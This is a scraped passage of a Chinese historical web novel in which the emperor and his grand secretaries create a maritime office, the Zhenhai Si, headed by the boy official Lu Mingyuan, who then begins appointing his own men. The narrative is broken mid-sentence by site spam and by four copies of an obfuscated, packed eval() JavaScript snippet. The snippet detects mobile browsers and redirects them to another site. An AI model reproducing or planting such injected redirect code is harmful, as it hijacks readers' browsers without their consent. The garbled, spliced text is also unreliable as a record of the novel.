嘉靖的声音恢复了平日的淡漠。 “二百万两,入国库,着户部尚书高拱即刻清点入账,用以填补沿海军备亏空。 “是。陆炳应道。 “余下的一百万两,拨入内承运库,朕要修缮西苑的几处宫殿。 “遵旨。 嘉靖顿了顿,蜜蜡念珠的转动也停了下 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 来。 殿内的空气,似乎在这一瞬间凝固了。 “去,把严嵩和徐阶,都给朕叫来。” 陆炳心中一凛,头垂得更低了:“是!” …… 内阁首辅府邸。 当宫里的小太监尖着嗓子传达了圣意时,年近七旬的严嵩正由美妾搀扶着。 他在后花园里欣赏一盆新的墨菊,苍老的脸上沟壑纵横,一双眼睛却依旧锐利如鹰。 “三百万两……呵呵……” 听完小太监的汇报,严嵩挥手让其退下,口中发出一阵意味不明的低笑。 他颤巍巍地伸出手,抚摸着那墨黑色的花瓣。 “好一个冠文伯,好一个陆明渊。这手笔,比他老师林瀚文,可要大得多了。” 一旁的严世蕃,脸上却满是贪婪与不屑。 “爹,不过是走了狗屎运的黄口小儿罢了!” “三百万两,他竟敢就这么直接送进京城,不知道会被多少人盯上,又会得罪多少人,我看他是读书读傻了!” “你懂什么!” 严嵩冷哼一声,回头瞪了儿子一眼。 “这恰恰是他的高明之处!这笔银子,若是经了任何人的手,哪怕是户部,都到不了陛下手里。” “唯有动用锦衣卫,以雷霆之势直送御前,才能将这泼天的功劳,完完整整地变成他陆明渊一个人的!” “他这是在告诉所有人,他陆明渊,只忠于陛下!” 严世蕃被骂得缩了缩脖子,却依旧不服气地嘟囔道。 “那又如何?如今陛下召您和徐阶那老狐狸入宫,摆明了就是要用这笔钱,逼着咱们点头,把那镇海司给坐实了!” “这可是六部之外的衙门,天子亲军,日后尾大不掉,必成心腹大患!” “心腹大患?”严嵩冷笑起来,浑浊的眼中闪过一丝精明。 “是陛下的心腹,还是你我的大患?” “这镇海司,既然拦不住,那便不要拦。与其让它变成徐阶那些清流的钱袋子,倒不如……咱们也伸只手进去。” 他转过身,不再看那盆菊花,目光望向了紫禁城的方向,幽幽地说道。 “陛下要的是制衡。既然他要立起这根新的柱子,那我们便帮他立。” “只是这柱子上要刻什么花纹,用什么木料,你爹我……还是能说上几句话的。” …… 与此同时,西苑的徐阶府中,气氛则要凝重许多。 徐阶坐在书房内, 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 手中捧着一卷书却久久没有翻动一页。 他面容清癯神情沉静仿佛一座古井波澜不惊。 但只有他自己知道他的内心正在经历着怎样的翻涌。 陆明渊是他看好的后辈是清流一脉未来的希望。 可这个后辈的成长速度已经远远超出了他的预料。 三百万两白银不经户部不走内阁直达天听。 这一手玩得太漂亮也太……霸道了。 这等于是在向整个文官集团**。 “阁老” 一名心腹幕僚躬身站在一旁忧心忡忡地说道。 “陛下此番召您与严阁老入宫意图再明显不过。” “这镇海司一旦成立权力之大前所未有。陆明渊年岁尚幼又深得圣眷。” “若是让他手握如此权柄恐怕……” “恐怕什么?” 徐阶抬起眼帘淡淡地问道“恐怕他会变成第二个严嵩吗?” 幕僚不敢接话。 徐阶轻轻叹了口气将书卷合上放在桌案上。 “你们都小看他了也小看陛下了。” “陆明渊此举是在自保。他很清楚镇海司这块肥肉有多少人盯着。” “他若不将这第一笔收益尽数献给陛下以表赤诚那么等待他的将是无穷无尽的**与攻讦。” “如今他将自己和陛下牢牢地绑在了一起。动他陆明渊便是动陛下的钱袋子。” “这天下谁有这个胆子?” “至于镇海司……” 徐阶站起身走到窗前看着窗外那棵老槐树。 “陛下要的是一个不属于严党也不完全属于我们清流的衙门。” “一个只听他号令能为他挣钱也能为他办事的衙门。” “我们若强行阻拦只会惹恼陛下。严嵩那只老狐狸怕是巴不得我们犯这个错。” 他沉默了片刻缓缓说道。 “所以我们不仅不能拦还要顺水推舟帮着陛下把这个镇海司建起来。” “至少要让这个衙门在名义上 “要在里面安**我们的人。今日的让步是为了日后的图谋。” “这盘棋要慢慢下。” …… 玉熙宫。 香炉里的青烟袅袅大殿内安静得落针可闻。 嘉靖皇帝依旧盘坐在蒲团上严嵩与徐阶 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 一左一右,分坐于下首的锦凳上。 两位在朝堂上斗了一辈子的政敌,此刻却都眼观鼻,鼻观心,沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777350|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默不语。 他们都在等。 等皇帝开口,为今日这场戏,定下一个调子。 “镇海司,不能再拖了。 嘉靖的声音打破了沉默,平淡,却不容置疑。 严嵩与徐阶同时躬身:“陛下圣明。 “陆明渊在浙江,做得不错。 嘉靖继续说道。 “朕允他开海,他便给朕送来了三百万两银子。 “这说明,开海,是于国有大利的。这镇海司,便是为开海而设,为我大乾开辟财源,为东南沿海的百姓,谋一条生路。 一番话说得冠冕堂皇,将私心与国事完美地结合在了一起。 严嵩苍老的声音响起。 “陛下深谋远虑,老臣钦佩。镇海司关乎国本,当仔细章程,方能万无一失。 徐阶也随即接口道。 “严阁老所言极是。名不正则言不顺,镇海司的架构与权责,需有法度可依,如此,方能长久。 两人一唱一和,看似都是为国考量,实则是在试探皇帝的底线。 同样,这也是在为接下来的讨价还价,铺好台阶。 嘉靖岂会不知他们心中所想,他淡淡一笑。 “朕已经想好了。 他一句话,便堵**所有讨价还价的余地。 “镇海司,便定名为‘钦命总督漕海事务镇海使司’。独立于六部之外,由朕直接管辖。 严嵩与徐阶心中都是一沉。独立六部之外,由皇帝直辖,这意味着,这个衙门,将变成下一个锦衣卫! “为免其权力过甚,滋生事端,可由内阁代朕监督,凡重大事宜,需向内阁报备。 听到这一句,徐阶的心才稍稍放下。 有“内阁监督这四个字,便有了操作的空间。 严嵩眼皮微抬,似乎也对这个结果表示了默认。 “镇海司,统筹管理我大乾境内漕粮海运与沿海贸易,凡沿海港口,皆归其管辖。 “镇海司,设征税稽查之权,可征海关税、船舶税,严打走私,靖平海波。 “然,所有税收银两,皆需上报户部审核入账,不得截留。 这一条,算是给了户部尚书高拱,也就是清流一脉一个交代。 “镇海司,许其组建舰队。 “暂设靖海、平波、定远、安澜四营,总兵 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 力不得逾四万人。” “军中将士选拔、升迁,可越过兵部,直接报朕审批。” “其军饷俸禄,由镇海司自行筹措,不耗国库一钱一银。” 这几乎是给了陆明渊一道建立私军的圣旨! 严嵩与徐阶的呼吸,都不由得急促了几分。 但“军饷自筹”四个字,又像是一道枷锁,将这头猛虎牢牢地拴住。 没钱,再强的军队也只是个空架子。 “至于其下辖的纺织厂,还有那个……荣兵商会,” 嘉靖似乎想了一下,才想起这个名字。 “皆归镇海司管理,然,其账目、人员,需受浙江布政司协同管辖,定期核查。” 这是严嵩的手笔了。 浙江布政使,是他的人。 这等于是在镇海司的钱袋子上,安插了一双他严党的眼睛。 徐阶看了一眼严嵩,老狐狸脸上古井无波。 他知道,这是交换。 他得到了内阁的监督权,严嵩便要拿走地方的协同管辖权。 至此,一个怪异而又平衡的权力结构,便在这三言两语间,尘埃落定。 “两位爱卿,以为如何?” 嘉靖的声音再次响起,带着一丝不容置疑的笑意。 严嵩与徐阶,还能说什么? 两人离座,跪倒在地,苍老的声音,在大殿中汇成一句。 “陛下圣明,臣等,遵旨。” 第260章 这番权势,震古烁今,千年未见 玉熙宫内的香炉青烟似乎都因这句同声之言而微微一滞。 当严嵩与徐阶一前一后走出宫门时已是黄昏。 巨大的宫墙投下长长的阴影将两位权倾朝野的老人笼罩其中。 两人谁也没有说话一路上只有官靴踏在石板上的沉闷回响。 直到快要分道扬镳的岔路口严嵩那苍老的声音才随风传来带着一丝莫名的意味。 “子升啊这京城的秋是越来越冷了。你我这把老骨头可得当心身子。” 徐阶停下脚步微微侧身清癯的脸上看不出喜怒。 “阁老说的是。不过只要心是热的再冷的秋 严嵩浑浊的眼珠转了转发出一声低笑不再言语由着仆人搀扶着拐向了另一条路。 徐阶望着他那微微佝偻的背影直到其消失在宫墙的拐角处才缓缓收回目光。 他知道今日的退让只是暂时的休战。 而玉熙宫内嘉靖皇帝早已重新闭上了双眼。 三百万两白银一个全新的衙门两位阁老的俯首。 这一切都未能在他那寻仙问道的心湖中激起半点真正的涟漪。 他要的只是结果。 至于过程自有那些凡夫俗子去操心去争斗。 …… 皇帝不操心臣子们却要跑断腿。 圣旨一下整个京城的官僚机器便以前所未有的效率疯狂运转起来。 吏部与户部这两个往日里为了一个编制、一两银子能争得面红耳赤的衙门此刻却灯火通明携手共事。 无他这是陛下的意志是嘉靖登基以来最为明确、最为强硬的一次意志体现。 谁敢在此事上拖延谁就是在拿自己的乌纱帽甚至项上人头开玩笑。 户部尚书衙署内高拱将手中的一沓草案重重地拍在桌上他那火爆的性子在熬了两个通宵后更是按捺不住。 “岂有此理!军饷自筹?镇海司下辖四营兵力可达四万!这笔开销何其巨大?” “陆明渊那小子从哪儿变出这么多钱来?这不明摆着是让镇海司自己去做买卖以商养兵吗?” “自古以来哪有官军自己经商的道理!这与**何异!” 一旁的兵部尚书张居正神色却要沉稳得多。 他端起茶杯轻轻吹了吹浮沫慢条斯理地说道。 “高大人稍安勿躁。陛下金口玉言我等奉旨办事 听说看这本书的人都是很幸运的,分享后你的运气会更棒 即可。 “再者说,‘不耗国库一钱一银’,这不正是高大人你日夜期盼的吗? “如今国库空虚,北有鞑靼,南有倭寇,哪一处不是嗷嗷待哺的销金窟? “镇海司能自己养活自己,于国而言,是好事。 “好事? “叔大,你这是站着说话不腰疼!今天他能以商养兵,明天他是不是就能拥兵自重? “一个不受六部节制,手握钱、船、兵的衙门,这简直就是国中之国! 张居正放下茶杯,眼中闪过一丝深邃的光芒。 “所以,我等才要在这里,为这个新生的衙门,仔细地立好规矩,套上缰绳。 “陛下的旨意是骨,你我今日所为,便是为其填上血肉,理顺经脉。 “这血肉经脉长得是否妥当,日后是听朝廷号令,还是自成一体,可就看你我笔下这分寸了。 高拱闻言,胸中的怒火稍稍平息,他重新坐下,拿起那份草案,眼神也变得锐利起来。 而在另一边,吏部衙署内,吏部尚书李文德,正捻着鼠须,看着眼前拟好的官员品阶与架构,脸上露出一丝阴冷的笑意。 作为严党的骨干,他很清楚首辅大人的意思。 既然拦不住,那便掺沙子。 于是,在无数个不眠之夜的争吵、妥协与算计之后。 一份堪称大乾开国以来最为详尽、也最为怪异的衙门章程,终于新鲜出炉。 《钦命总督漕海事务镇海使司章程》! 这份由吏部、户部、兵部三堂会审,再经内阁审阅。 最后呈送御览的文书,以朱笔批红之后,迅速发往六科,誊抄邸报,昭告天下。 一个权柄滔天,结构精密的庞然大物,终于露出了它的獠牙。 镇海司,设一使,二辅,三清,四司。 镇海使为镇海司最高长官,统筹镇海司一切事务,由冠文伯陆明渊出任。 考虑到其年岁,特授正四品衔,已是破格之赏。 其下,设左右辅政,为镇海司副手,授从四品衔。 左辅政,分管内部庶务,**、公文流转、钱粮审计,以及与朝廷各部院的沟通协调。 右辅政,则分管外部军务,港口运营、舰队指挥、海上巡防、清剿倭寇。 这左右辅政的人选,并未在章程中言明,显然是留给了严嵩与徐阶,去进行下一轮的角力。 而在辅政之下,则是镇海司权力的核心— 听说看这本书的人都是很幸运的,分享后你的运气会更棒 —四大清吏司。 其一,漕运清吏司。 主官郎中,正五品;副官员外郎,从五品。 漕运清吏司负责漕粮的征集、包装、装船,乃至运输调度与损耗核算。 其下设粮纲科、调度科、河海联运科。 漕运清吏司乃是主缆漕运诸多权势,其中可利用空间最广! 其二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777351|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,海贸清吏司。 此司乃镇海司的钱袋子,更是重中之重。 负责管理出海的中外商船,勘合发放“船引”——也就是贸易许可证。 同时,制定并征收关税,评估货物价值,管理沿海所有市舶。 下设商贾科、税课科、市舶科、物价科。 可以说,谁掌握了海贸司,谁就掌握了东南沿海的财富命脉。 其三,港务清吏司。 若说海贸司是钱袋子,港务司便是盛钱的匣子。 负责所有管辖港口的建设、维护,仓储管理,货物装卸。 码头上的力夫、港口的消防治安,都归其管辖。 下设营造科、仓储科、作业科、港巡科。 这是一个看起来油水最足,也最接地气的部门。 其四,舟师清吏司。 此乃镇海司的利刃。负责建造、维护、指挥镇海司直属的护航舰队。 其职能简单而霸道:打击海盗,稽查走私,保障航道安全。 下设舰船科、侦缉科、巡防科、武备科。 从战船的龙骨铺设,到火炮的铸造,再到水手的操练,皆由其一手包办。 这是陆明渊手中最硬的底牌,也是朝堂诸公最为忌惮的力量。 除了这四大清吏司,为防其权力过大,尾大不掉。 章程中还特设了四大监督部门,直接向镇海使与左右辅政负责。 设经历司,负责公文往来、档案管理、印章保管,是镇海司的“大管家”。 设稽核司,负责审计钱粮账目、核查公文,防止贪腐和差错。 设司狱司,负责关押在执法中捕获的海盗、走私犯、不法商人,拥有独立的审讯与关押之权。 设仓廪司,管理镇海司收缴上来的银库与物资仓库,是镇海司的后勤中枢。 这一整套架构,环环相扣,权责分明,既赋予了镇海司前所未有的巨大权力,又在内部和外部设下了重重枷锁。 经过严党和清流斗法,最终镇海司左辅政由吏部举荐太原王氏嫡系子弟,礼部左侍郎王哲远担任左辅政。 右辅政则由如今的温州监军,裕王府佥事谭伦出任! 下辖四大清吏司主官郎中由陆明渊举荐,副官员外郎则由吏部举荐! 在嘉靖的主导下,一个独立于六部之外,直属皇权领导的镇海司,在深秋之季建立。 陆明渊这个有史以来最年轻的状元郎,也打破了大乾王朝数百年历史,成为了最年轻的主官,同样也是大乾王朝最年轻的正四品官员! 十三岁之龄,位列冠文伯,温州知府,兼正四品镇海使,统筹镇海司及温州府所有事物! 这番权势,震古烁今,千年未见! 第261章 传我将令,东南水师,即刻集结 八百里加急的圣旨,由京城而来,三天两夜,马不停蹄。 陆明渊站在堂前,一身青色官袍,衬得他那张尚未完全褪去稚气的脸庞愈发清秀。 他身后,是温州府大大小小的官吏。 一个个伸长了脖子,神情复杂,有惊愕,有嫉妒。 “奉天承运皇帝,诏曰…… 宣旨太监那尖细而悠长的声音,在肃穆的府衙大堂内回荡。 “特设镇海使司,总督漕海事务……下设一使,二辅,三清,四司! “命冠文伯陆明渊,任镇海使,总领镇海司一切事宜,授正四品衔,钦此! 当最后一声“钦此落下,陆明渊缓缓跪下,双手高举过头顶。 “臣,陆明渊,领旨谢恩,吾皇万岁万岁万万岁! 他的声音清朗而沉稳,没有丝毫少年得志的轻狂,也没有面对这滔**柄的惶恐。 然而,他身后的那些官员们,却再也无法保持平静。 镇海司! 一个独立于六部之外,直属皇权的庞然大物! 正四品镇海使! 一个十二岁的少年,竟一步登天,与一省布政使平起平坐! 这是何等的圣眷? 这是何等的信任? 整个大乾王朝,开国数百年来,可曾有过这般离奇之事? 众人看着那个跪在堂前,身形尚显单薄的少年,心中百味杂陈。 他们想起了不久前,这位少年知府初到温州时的情景。 那时,多少人心中还存着轻视与观望,觉得不过是个走了大运的黄口小儿。 可现在,这“黄口小儿已然化龙! 陆明渊接过圣旨,缓缓起身。 他没有去看那些神色各异的同僚,而是将目光投向了堂外那片被秋日染得金黄的天空。 他知道,从这一刻起,温州的天,要变了。 他环视一周,目光平静地扫过每一位官吏的脸。 然后,清朗的声音再次响起。 “本官宣布,调温州府通判裴文忠,任镇海司漕运清吏司郎中,即刻生效! 此言一出,人群中顿时一片哗然。 所有人的目光,都齐刷刷地投向了队列末尾那个面容憔悴、神情落寞的中年官员——裴文忠。 裴文忠整个人都僵住了,他呆呆地站在那里,仿佛没有听清陆明渊的话。 从六品通判,在温州府这个官场泥潭里,他已经挣扎了太久。 人到中年 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 ,仕途无望,几乎已经能看到自己致仕时那灰败的模样。 他从未想过,自己的人生还有转机。 漕运清吏司郎中! 正五品! 虽然只是官升一级,但这背后代表的意义,却有天壤之别! 这一级是无数人一辈子无法逾越的高山! 这是镇海司四大清吏司之一的主官! 是陆明渊这位新任镇海使亲口任命的第一个人! 这代表着信任,代表着简在帝心之后的“简在使心”! “裴大人,还不谢恩?” 旁边有人忍不住,用胳膊肘轻轻碰了碰他。 裴文忠一个激灵,如梦初醒。 他看着堂上那个负手而立的少年,一股难以言喻的激动与感激瞬间冲垮了他所有的理智。 “噗通”一声! 这位年近四旬的从六品官员,竟当着所有人的面,双膝跪地,对着陆明渊重重地磕了一个头! “下官……不,卑职裴文忠,叩谢使台大人提携之恩!” 他的声音已经哽咽,额头贴着冰冷的青石板,滚烫的泪水夺眶而出。 “卑职这条命,从今往后,便是使台大人的!但凭驱使,万死不辞!” 这一跪,掷地有声。 这一拜,肝胆相照。 满堂官吏,再次陷入死寂。 他们看着状若癫狂的裴文忠,心中的羡慕、嫉妒、悔恨,如同野草般疯狂滋长。 他们后悔啊! 后悔当初陆知府初来乍到时,自己为何没有第一个上前表忠心! 后悔为何没有像裴文忠一样,在陆明渊推行新政时,坚定不移地站在他那一边! 一步错,步步错! 如今,裴文忠一飞冲天,而他们,却只能眼睁睁地看着,连汤都喝不上一口。 所有人都看明白了,这个新成立的镇海司,就是圣上为陆明渊量身打造的利器。 是为了推行“漕海一体”这国之大策而存在的。 其地位,几乎等同于天子亲军锦衣卫! 更何况,所有人都心知肚明,一旦镇海司运转起来,每年经手的银两,将是一个天文数字。 八百万两?那恐怕只是个开始! 这是何等泼天的富贵! 何等诱人的权柄! 一时间,整个温州府的官场都骚动了起来。 那些原本还在观望、还在摇摆的官员们,此刻心中只剩下一个念头——想尽一切办法,挤进镇海司! 哪怕 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 只是做一个小小的科吏也远比在这温州府衙里熬资历要强上百倍! 于是无数双眼睛开始灼**望向陆明渊望向这位年仅十二岁的少年权臣。 他们开始绞尽脑汁思索着该如何巴结如何投靠。 如何能在这场即将到来的饕餮盛宴中分得一杯羹。 陆明渊将这一切尽收眼底面上却波澜不惊。 他要的就是这个效果。 千金买马骨。 裴文忠就是他立下的一个标杆。 有了这个标杆在往后自然会有无数千里马争相来投。 …… 秋风萧瑟吹过杭州西湖的湖面卷起层层涟漪。 浙直总督府内胡宗宪手持一封密信久久不语。 信是从京城来的上面详细叙述了镇海司成立的前因后果。 以及朝堂之上严嵩与徐阶两位阁老那场不见硝烟的战争。 他缓缓走到窗前看着满园的残荷 镇海司。 陆明渊。 一个十二岁的少年竟真的撬动了这盘沉寂了数十年的棋局。 胡宗宪心中既有赞叹也有一丝隐忧。 他比任何人都清楚东南沿海这潭水有多深多浑。 盘踞在此的浙江三大世家宁波沈家、舟山汪家、温州陈家。 他们与倭寇之间的关系早已是盘根错节剪不断理还乱。 陆明渊的镇海司就像一把锋利无比的刀直接**了这潭浑水的核心。 这把刀固然能斩断许多毒瘤但稍有不慎也可能被这潭浑水所吞噬甚至激起更大的风浪。 如今汪家已除可那些余毒真的能这么轻易的清理干净吗? 显然不能! 清理余毒之事并非一日之功这需要时间! 如今陛下如此仓促就将镇海司摆在了明面上胡宗宪觉得这不是好事儿! “汝贞公” 一个沉稳的声音从身后传来是他的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777352|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腹幕僚徐渭。 “京城的消息都已证实了?” 胡宗宪点了点头将信递给了他。 “文长你看看吧。圣心已定大势所趋不可阻挡了。” 徐渭接过信一目十行地看完他那张素来狂放不羁的脸上也露出了凝重之色。 “好一个陆明渊!好一个镇海司!陛下这是要下一盘大棋啊!” 徐渭感慨 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 道,“以一个衙门,撬动整个东南的利益格局,以一个少年,来当这执刀之人。” “高明!实在是高明!” “是啊,”胡宗宪叹了口气,“少年人,没有牵挂,没有顾忌,敢打敢冲。” “这把刀,用好了,是国之利器。可若是用不好……” 他没有说下去,但徐渭明白他的意思。 “汝贞公是担心,那几家会狗急跳墙?” 胡宗宪的目光变得锐利起来。 “他们会的。断人财路,如**父母。镇海司要做的,是彻底挖掉他们的根。他们不反抗,才是怪事。” 他顿了顿,语气变得果决而坚定。 “所以,我们不能再等了。” 胡宗宪猛地转身,眼中迸发出惊人的光芒。 “传我将令,东南水师,即刻集结!肃清杭州府海域之倭寇!” “我要用一场酣畅淋漓的大胜,来告诉所有人,我大乾的军威尚在!” “更要告诉那些躲在暗处的老鼠,这东南的天,到底是谁说了算!” 徐渭闻言,胸中热血亦随之沸腾,他重重一拱手:“属下遵命!” 胡宗宪知道,他必须加快步伐了。 他必须在陆明渊那把新刀磨砺出鞘之前,先用自己这把旧剑,为他扫清一些障碍。 这既是为国,也是为那个素未谋面,却让他无比欣赏的少年。 …… 与此同时,温州府,陆府后院。 陆明渊终于脱下了那身沉重的官袍,换上了一身寻常的棉布长衫。 他坐在石凳上,看着弟弟陆明泽正撅着屁股,专心致志地用一根小树枝,逗弄着地上的蚂蚁。 阳光透过稀疏的枝叶,在他身上洒下斑驳的光影,温暖而恬静。 这一刻,他才感觉自己从那个正四品的镇海使,变回了一个十二岁的少年。 若雪端着一碗刚熬好的莲子羹,悄无声息地走了过来,轻轻放在石桌上。 “少爷,喝点东西润润喉吧。” 她的声音清冷,但眼神中却带着一丝不易察觉的关切。 “嗯。”陆明渊应了一声,端起碗,用勺子轻轻搅动着。 他看着碗中升腾起的热气,思绪却早已飘远。 裴文忠,是他手下的第一个拥簇。 接下来,他还要举荐更多的人成为自己的拥簇。 圣旨中明确提到,镇海司四大清吏司的主官,由他举荐。 漕运司已定,那么剩下的海贸司、港务司、舟师司,该用何人? 海贸司,是钱袋子,必须用一个绝对信得过,且精通商贾之道的自己人。 港务司,油水最足,也最容易滋生**,主官必须是个铁面无私,懂得营造管理的干吏。 而最重要的舟师司,镇海司的刀刃,则需要一个既懂水师,又懂造船,且忠勇可靠的将才。 这些人,从哪里去找? 陆明渊的脑海中,一个个名字闪过,又被他一一否决。 他现在根基太浅,手底下真正可用的人才,寥寥无几。 第262章 这等信任,何等的千金难换! 他现在根基太浅 镇海司的架子搭起来容易圣旨一下名正言顺。 可要让这个庞然大物真正运转起来靠的是人是无数个忠诚而能干的官吏。 陆明渊在脑海中沉思着合适的人选颇为头疼! 也就在此时千里之外的江陵县陆家村。 因为一封来自温州的信以及随后传来的官府邸报彻底沸腾了。 “镇海使!正四品!我的天爷啊!” 族长陆厚德拿着那封由秀才代笔念出的信手抖得像是秋风中的落叶。 他活了六十多年见过最大的官不过是江陵县的县太爷不过是正七品官员。 如今他陆家的嫡长孙竟然已经成了正四品的大员! 这个品级在他们这些泥腿子出身的庄稼人心里简直和天上的神仙没什么区别。 祠堂里陆家村的男丁们挤得满满当当一个个脸上都泛着红光。 兴奋、激动、与有荣焉的情绪在闷热的空气中发酵。 “厚德叔明渊出息了咱们陆家这是要出龙了啊!” “可不是嘛!正四品那可是咱们祖上都没出过的大官!” “这下好了看以后谁还敢瞧不起咱们陆家村的人!” 陆厚德用力地咳嗽了几声压下众人的喧哗。 他浑浊的老眼扫过一张张兴奋的脸庞心中却比任何人都要清醒。 明渊是出息了可这份泼天的富贵是福也是祸。 他这个做族长的不能只想着沾光更要想着不能给孩子拖后腿。 “都静一静!”陆厚德的声音带着不容置疑的威严。 “明渊现在是朝廷重臣一举一动都有无数双眼睛盯着。咱们陆家不能给他添乱!” 他顿了顿看着众人一字一句地说道。 “咱们不能仗着他的势在外面惹是生非。更不能打着他的旗号去谋什么差事。” 这话如同一盆冷水浇在了众人火热的心头。 有人忍不住小声嘀咕:“明渊都这么大官了给咱村里安排几个人还不是一句话的事儿?” 陆厚德耳朵尖听见了他把手里的旱烟杆往桌上重重一磕发出“啪”的一声脆响。 “糊涂!你以为镇海司是他陆家的后花园吗?那是皇上的衙门!里面的人个个都是人精。” “咱们这些大字不识一个的进去能干什么?给明渊丢人现眼吗 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 ?” 他深吸一口气语气缓和了些。 “明渊有他的难处咱们要体谅。我琢磨着让村里人去温州府讨个营生做点小买卖总归是能行的。” “但要想进衙门当差那是痴心妄想!” 陆厚德环视众人最后将目光落在一个年轻人身上。 “我已经托了县里的李秀才再给明渊写一封信。把我的想法告诉他一是问问咱们陆家能不能回归清河陆氏祖祠光宗耀祖。” “二是问问能不能借着他的名望在村里建个学塾多培养几个读书种子。这才是正道!” “咱们陆家的根在读书上只要再出几个读书种子明渊才能帮扶咱们陆家人!” “连科举都中不了明渊想要提拔也无从下手!” 众人听了虽有些失望但细细一想也觉得族长说得在理。 授人以鱼不如授人以渔靠着陆明渊的关系混个饭碗终究不是长久之计。 若是村里能多出几个读书人那才是陆家村真正的根基。 在众人的共识下一封陆家村的家书从江陵县发往温州府! …… 温州府衙后堂书房。 陆明渊放下了手中的莲子羹若雪已经悄无声息地将空碗收走。 他面前站着的是刚刚上任的漕运清吏司郎中裴文忠。 此刻的裴文忠早已没了那日的落魄与憔悴。 他身形依旧有些清瘦但腰杆挺得笔直。 眼神中更是闪烁着前所未有的精光。 士为知己者死这短短几日他像是年轻了十岁。 “使台大人您交代的事情 裴文忠恭敬地躬身道。 “镇海司的衙门卑职已经选好了。” 裴文忠的声音沉稳有力。 “就在城东的文远街原先汪家商行的总部。” “汪家商行?”陆明渊眉毛一挑。 “正是。”裴文忠解释道。 “那处宅院三进三出占地极广屋舍众多稍加改造便能用作衙门。” “最关键的是此地原是汪家用以勾连倭寇、走私海货的巢穴。” “如今咱们镇海司入驻以其巢穴为衙署正有扫清污秽、以正压邪的寓意。” “也能向温州府上下乃至整个浙江的宵小之辈表明咱们镇海司的决心!” 陆明渊闻言眼中闪过一丝赞许。 这 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 个裴文忠不仅是个能吏更懂得揣摩上意做事滴水不漏。 “很好。”他点了点头。 “就定在那里。衙门牌匾用黑底金字找城中最好的工匠来做。” “至于内部修缮不必大动干戈简单分隔即可。镇海司初立百废待兴银子要用在刀刃上。” “卑职明白!”裴文忠重重应道。 “还有一事”陆明渊话锋一转。 “你升任漕运司郎中温州府通判一职便空了出来。这个位置你可有合适的人选举荐?” 此言一出裴文忠的心猛地一跳! 他瞬间就明白了陆明渊的意思。 这不仅仅是在询问一个通判人选更是在给他机会让他培养自己的班底。 这是真正将他视作心腹的信号! 这等信任何等的千金难换! 虽然他预料到会有这么一天! 可当陆明渊亲口说出的时候他还是难以遏制的激动! 裴文忠的眼眶微微有些发热他强压下心中的激动深吸一口气。 他从袖中取出一份早已准备好的名册双手呈上。 “使台大人卑职不敢专断。” “这是卑职在温州府多年所观察到的一些可用之才以及通判一职的几个人选请大人过目。” 陆明渊接过名册没有立刻去看而是饶有兴致地看着他。 “你先说说你心中最合适的人选是谁?” 裴文忠定了定神沉声道。 “卑职举荐一人此人名叫杜彦嘉靖二十三年的进士。乃是卑职当年的学生。” “哦?你的学生?” “是。”裴文忠的脸上露出一丝愧色。 “杜彦此子才学兼备为人方正只是……只是因为朝中无人被一些人打压排挤< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777353|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“他如今在府衙内当一个八品的经历负责典籍文书实在是屈才了。” 陆明渊的指尖在桌面上轻轻敲击着发出“笃笃”的轻响。 他看重的正是裴文忠这份坦诚。 不隐瞒不夸大将师生关系与此人的处境都说得清清楚楚。 “一个被打压的八品经历……” 陆明渊的嘴角勾起一抹微不可查的弧度。 “这样的人用起来才最是忠心也最是敢做事。因为他已经没什么可以再失去的了。” 他翻开名册目光在上面扫过。 